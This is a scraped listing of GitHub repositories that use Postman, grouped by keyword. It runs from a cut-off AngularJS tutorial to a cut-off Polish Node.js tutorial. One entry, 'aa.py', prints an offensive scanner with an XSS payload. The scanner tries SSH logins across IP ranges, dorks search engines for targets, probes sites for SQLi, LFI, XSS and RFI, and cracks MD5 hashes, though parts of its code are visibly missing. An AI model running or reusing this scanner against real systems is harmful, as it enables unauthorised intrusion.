of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
ildanno/forgeman
forge, runner, test, test run 		Command-line test runner built on top of Postman/Newman 2 stars 2 watchers 1 forks
andreprawira/Simple-REST-API-using-Spring-Boot-Hibernate-and-MySQL-Database
application, data, database, employee, employees, forge, generate, generated, list, method, properties, resource, resources, single, source, spec 		It's a very simple REST API for employee management using Spring Boot, Hibernate, and MySQL. Test it with Postman: Use GET method to list all of the employees or a single employee specified by ID Use POST method to save an employee (ID auto generated) or use a PUT method to update if employee ID already exist (specify the employee ID in the url to update) Use DELETE method to delete an employee (specify the employee ID in the url to delete) Dont forget to change the application.properties to connect the database with the app (located in src/main/resources/application.properties) 0 stars 0 watchers 0 forks
Autodesk-Forge/forge-bim360.costmanagement.api-postman.collection
collection, cost, forge, including 		Postman collection including the BIM 360 Cost Management API List and Tutorial 0 stars 0 watchers 0 forks
bishbash/Test-Project-from-Postman
bash, forge, place, test 		A test project created by the forgerock.org market place 0 stars 0 watchers 0 forks
RealDeanZhao/forge-dist-for-postman
forge 		forge-dist-for-postman 0 stars 0 watchers 0 forks

article (7 listings) (Back to Top)

Ayush23Dash/REST-API-articles-
article 		This is my first REST API that was built with the help of Postman API. 1 stars 1 watchers 0 forks
scampiuk/postman-newman-testing
article, newman, test, testing 		Git repo to go along with the article on dev.to 0 stars 0 watchers 1 forks
Rajpreet16/curd_using_apis_in_laravel
article, curd, laravel, operation, operations, site, upload, website 		This project have CRUD operations in Laravel written using APIS. Basic Article website CRUD operation, where you can see all the articles, see a particular article,delete a article, update a article,upload a new article. 0 stars 0 watchers 0 forks
caren1/RESTful-API
application, article, express, list, listing, mongo, mongoose, single, test, tested 		RESTful application based on Node.js, express.js and mongoose tested with Postman, that allows for adding, listing, deleting and editing all and single articles. 0 stars 0 watchers 0 forks
latachz/Phoenix-1.3-simple-blog-API-and-Postman-tests
article, blog, test, tests 		Files for Medium article about creating very simple api with Postman tests. 0 stars 0 watchers 0 forks
marcochin/Wiki-Db-API
article, content, data, express, manipulate, mongo, mongod, mongodb, mongoose, route, send, server, simulate, simulates, wiki, wikipedia 		Created a server that has a db that simulates wikipedia. You have an article title and an article content. An API is created for you to manipulate data on the db. It handles GET POST PUT PATCH DELETE. Use Postman to interact with the API. There is no UI. Used mongoose to interact with mongodb. Used express to send API handle route calls and send back responses. 0 stars 0 watchers 0 forks
Tapasvi7600/postman-article
article 		0 stars 0 watchers 0 forks

enables (7 listings) (Back to Top)

SAP-samples/sapbydesign-api-samples
collection, collections, consume, design, enable, enables, sample, samples, service, services, user, users 		A set of Postman collections that enables users to consume SAP Business ByDesign web services. 24 stars 24 watchers 22 forks
open-source-labs/Swell
developer, developers, development, enable, enables, endpoint, endpoints, including, served, source, streaming, technologies, test, tool 		Swell: API development tool that enables developers to test endpoints served over streaming technologies including Server-Sent Events (SSE), WebSockets, HTTP2, GraphQL, and gRPC. 0 stars 0 watchers 19 forks
SAP-samples/service-ticket-intelligence-postman-collection-sample
collection, consume, enable, enables, environment, learn, learning, machine, sample, samples, service, template, ticket, user, users 		A Postman collection and environment template that enables users to consume the Service Ticket Intelligence machine learning service. 0 stars 0 watchers 3 forks
NitishGadangi/My_Postman-App
advance, enable, enables, remote 		📬 Android app with various advance features that enables you to Post JSON Data to a remote Api 1 stars 1 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
povilaspanavas/PostmanProblemFixer
curl, enable, enables, expect, find, form, format, host, import, move 		Reformats text in cliboard. It expects to find there curl and move host from the end to the start. This enables Postman to import a coppied curl from Charles successfully. 0 stars 0 watchers 0 forks
TheChronicMonster/RESTful_BC_API
enable, enables 		Node.js + Express RESTful API that enables GET and POST requests via CURL and Postman 0 stars 0 watchers 0 forks

verify (7 listings) (Back to Top)

DIPSAS/EhrStore.Postman
postman scripts, script, scripts, server, test, verify 		Some postman scripts to test and verify the features of an openEHR server 0 stars 0 watchers 1 forks
gloryer/jsonwebtoken
access, auth, authenticate, authenticates, authentication, back end, client, endpoint, exposes, form, format, http, information, issue, json, jsonwebtoken, registration, resource, send, server, server., source, test, tested, token, user, verify 		A demo back end server exposes user registration endpoint, user authentication endpoint, token endpoint and resource endpoint. The resource endpoint is protected by the JWT token. Only the client who possesses the valid token can access the resource. To get a token from the server, the client must authenticates itself to the server. To request the resource in the server, the client issue an http GET request to the resource endpoint, the server will verify the recieved jwt token. Once the token is valid, the server will send back the user information which indicated in the jwt token. Front-end has not been implemented so far. The back-end is tested using Postman. 0 stars 0 watchers 0 forks
hanshu/obix
introduction, verify 		oBIX introduction and how to verify these features via Postman 0 stars 0 watchers 0 forks
june97y/training001_mission002
application, content, endpoint, endpoints, json, training, type, verify 		Create CRUD endpoints that return in content type "application/json", verify the CRUD endpoints using Postman. 0 stars 0 watchers 0 forks
m-spilman/pingPong
route, server, verify 		This one should be relatively simple. Write a server that has only one route, GET /ping. This route should respond with the string "PONG". After you write the server, verify that it works using Postman. 0 stars 0 watchers 0 forks
switbe/postman-newman-api-test
example, integration, newman, service, services, test, verify 		An example how to use Postman to verify web services with Jenkins integration. 0 stars 0 watchers 0 forks
yashdeepk/restapi
application, data, endpoint, endpoints, flask, form, format, header, json, python, rest, restapi, verify 		Web Service API using python and flask. A Flask application that expose the RESTful URL endpoints. All data sent to and from the API is in JSON format with the Content-Type header field set to application/json. Used postman to verify the outcome. 0 stars 0 watchers 0 forks

returned (7 listings) (Back to Top)

PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 3 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 0 forks
chuckpaquette/SMGR-REST-SIP-Entities
data, entity, returned, struct, structure, visual, visualization 		Postman code for visualization of the data structure returned by SMGR SIP entity REST request 0 stars 0 watchers 0 forks
patelayush/Group-Messaging
assignment, auth, authentication, connection, details, file, header, login, message, messages, returned, token 		In this assignment you will get familiar with using with HTTP connections, authentication, and implement an app to share messages. The API details are provided in the Postman file that is provided with this assignment. For authentication you need to pass the token returned from login api as part of the header as described in the Postman file. 0 stars 0 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 0 forks

terminal (7 listings) (Back to Top)

Andriy-Kulak/ServerSideAuthWithNode
application, command, future, host, local, mongo, mongod, mongodb, node, setup, signup, terminal, test 		Server side setup with node that can be used for future application. To use, 1) run mongodb with 'mongod' command 2) In another terminal, run npm with 'npm run dev' 3) go to Postman and use localhost:3090/ && localhost:3090/signup && localhost:3090/signin to test the app 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
dustinrohde/restcli
client, library, rest, terminal 		An API client library and CLI written in Python. It's Postman for terminal lovers! 0 stars 0 watchers 2 forks
rafi/req8
alternative, file, files, native, terminal 		Manage HTTP RESTful APIs per-project in YAML files (Postman alternative for the terminal) 0 stars 0 watchers 2 forks
danielrolls/haskell-punch
friend, terminal 		A friendly ghci terminal for Haskell 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
ryancui-/rest-tool
rest, terminal, tool 		A REST API tool like Postman or Insomnia, but based on terminal and more features. 0 stars 0 watchers 0 forks

covid (7 listings) (Back to Top)

postmanlabs/covid-19-apis
collection, collections, covid, source 		Postman COVID-19 API Resource Center—API collections to help in the COVID-19 fight. 38 stars 38 watchers 10 forks
tnimni/il-moh-covid19-api-collection
collection, covid, endpoint, endpoints 		A postman api collection for Israeli MOH api endpoints 0 stars 0 watchers 1 forks
arunrajachandar/covid
case, cases, covid, dashboard, data 		It's a very basic COVID dashboard with world map and datatable showing the recovered, death and overall confirmed cases country-wise. Front-end: React, Bootstrap | Map Component: React Geo Charts(Google API) | Data Source : Postman API 0 stars 0 watchers 0 forks
arunrajachandar/covidSrcCode
case, cases, covid, dashboard, data 		It's a very basic COVID dashboard with world map and datatable showing the recovered, death and overall confirmed cases country-wise. Front-end: React, Bootstrap | Map Component: React Geo Charts(Google API) | Data Source : Postman API 0 stars 0 watchers 0 forks
made2591/covid-postman-collection
collection, covid, play 		A repository with a Postman collection to play with Covid Global API 0 stars 0 watchers 0 forks
matheus3t/covid19-status
covid, stat, status 		Aplicação usando React a consumindo a API do postman sobre o coronavírus 0 stars 0 watchers 0 forks
rubenRP/covid-map
covid, data, maps, resource, resources, source, updated 		App creted with GatsbyJS and Leaflet maps to show COVID19 updated data using Postman COVID19 resources. 0 stars 0 watchers 0 forks

booking (7 listings) (Back to Top)

amittyyy/LandonHotelAPI_Project
book, booking, mobile, native, register, search 		BackEnd RestAPI Works for web and native mobile for booking, register and search Hotel Rooms using Asp.Net MVC Core 2.1 and PostMan. 1 stars 1 watchers 0 forks
daphneaugier/fairplay
book, booking, form, platform, play, site, student, website 		Building website for jazz-student-artist booking platform. 1 stars 1 watchers 0 forks
tomashchuk/booking
auth, authorization, book, booking, heroku, http, https, login, register, test, testing 		REST API Booking Database with JWT authorization (using Bearer). Registration - https://bookingstest.herokuapp.com/auth/register/. Login - https://bookingstest.herokuapp.com/auth/login/ Root api: https://bookingstest.herokuapp.com/api/. Recommended to use Postman for testing purposes. 0 stars 0 watchers 0 forks
bhanukandregula/microsoft-graph-bookings-apis
book, booking, collection, customer, customers, graph, insight, managing, microsoft 		Microsoft Bookings is for small and mid scale industries for managing appointments from the customers. This repo will give you a flexibility to use all the possible APIs that comes with Microsoft Bookings with NODE JS. It also consists of the Postman collection to give a quick try and understand its insights. 0 stars 0 watchers 0 forks
louisjuliendo/Natours
book, booking, tours, web app 		🌇 An awesome tour booking web app written in NodeJS, Express, MongoDB. 0 stars 0 watchers 0 forks
psn30595/Universal-Ticket-Generation-Service-for-Events
book, booking, cloud, event, form, generation, movie, movies, platform, published, site, sports, ticket, tickets, website 		Developed a ticket booking website which is used to book tickets for the concert, movies and sports events by using various API’s. Created ticket generation API for others and published on the Microsoft Azure cloud platform. Technologies used: C#.NET, Microsoft Azure, Visual Studio 2017, Microsoft SQL Server 2017, Postman. 0 stars 0 watchers 0 forks
yasminagilabder/bookingapipostmanadvanced
advance, advanced, apipostman, book, booking, test, tests 		Advance Postman tests suit for a Booking API 0 stars 0 watchers 0 forks

reading (7 listings) (Back to Top)

udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
Umang080799/CRUD-App-
action, book, books, details, form, host, local, object, objects, reading, rest, restful, route, routes, server, updating 		I made a Crud App using Node.js,Express.js and Mongoose.js. I built out a book Schema for creating,reading,updating and deleting books. Used Express Scripts to create routes that will form the basis for a restful API. Used POSTMAN to perform actions on the routes All the book details were altered as JSON objects. I created and used Google Chrome to confirm the changes made on the local host server port 8080. 1 stars 1 watchers 0 forks
aliasgarlabs/bookish-octo-fiesta
book, books, list, reading, reads 		Picks 8 books from your goodreads followers and creates a reading list. 0 stars 0 watchers 0 forks
ChrisSun99/SeeTheUnseen
assist, reading, task, tasks, user, users 		An Android app using Cloud OCR to assist text reading tasks for users with vision impairment. 0 stars 0 watchers 0 forks
Dhruv-Rajpurohit/PostMan-Clone
friend, interacting, reading, struct 		App for interacting with HTTP APIs. It presents you with a friendly GUI for constructing requests and reading responses. 0 stars 0 watchers 0 forks
kristaeis/REST-API-final-project
account, auth, authentication, book, books, creation, environment, list, lists, reading, test, tests, user 		REST API featuring user account creation and authentication, reading lists, and books - Postman tests/environment 0 stars 0 watchers 0 forks
xzhang007/Multithread-Web-Server
actor, auth, authentication, binary, capable, current, design, file, files, handling, image, images, method, network, parsing, reading, send, server, sync, synchronize, test, user, version, versions 		Developed a web server in Java capable of handling HTTP requests and parsing those requests, and sending out various HTTP responses. • Handles basic user authentication and CGI which could execute concurrently using multithreading and synchronized method. And it could send binary files like images over network. • Using GitHub repository to control versions and Postman to test as well as factory design pattern. 0 stars 0 watchers 0 forks

installed (6 listings) (Back to Top)

MayMP/NodeJsExpressMongoDB
center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit 		This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. 1 stars 1 watchers 0 forks
aymenfurter/ubuntu-dev-vagrant
development, general, grant, install, installed, integration, ubuntu 		Ubuntu Dev Station with preinstalled Postman, SOAPUI, VSCode, Eclipse, Maven, JDK 8 / 11, plantUML, i3 for integration and general purpose development work. 0 stars 0 watchers 0 forks
Gyanachand1/Blockchain
action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user 		# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś 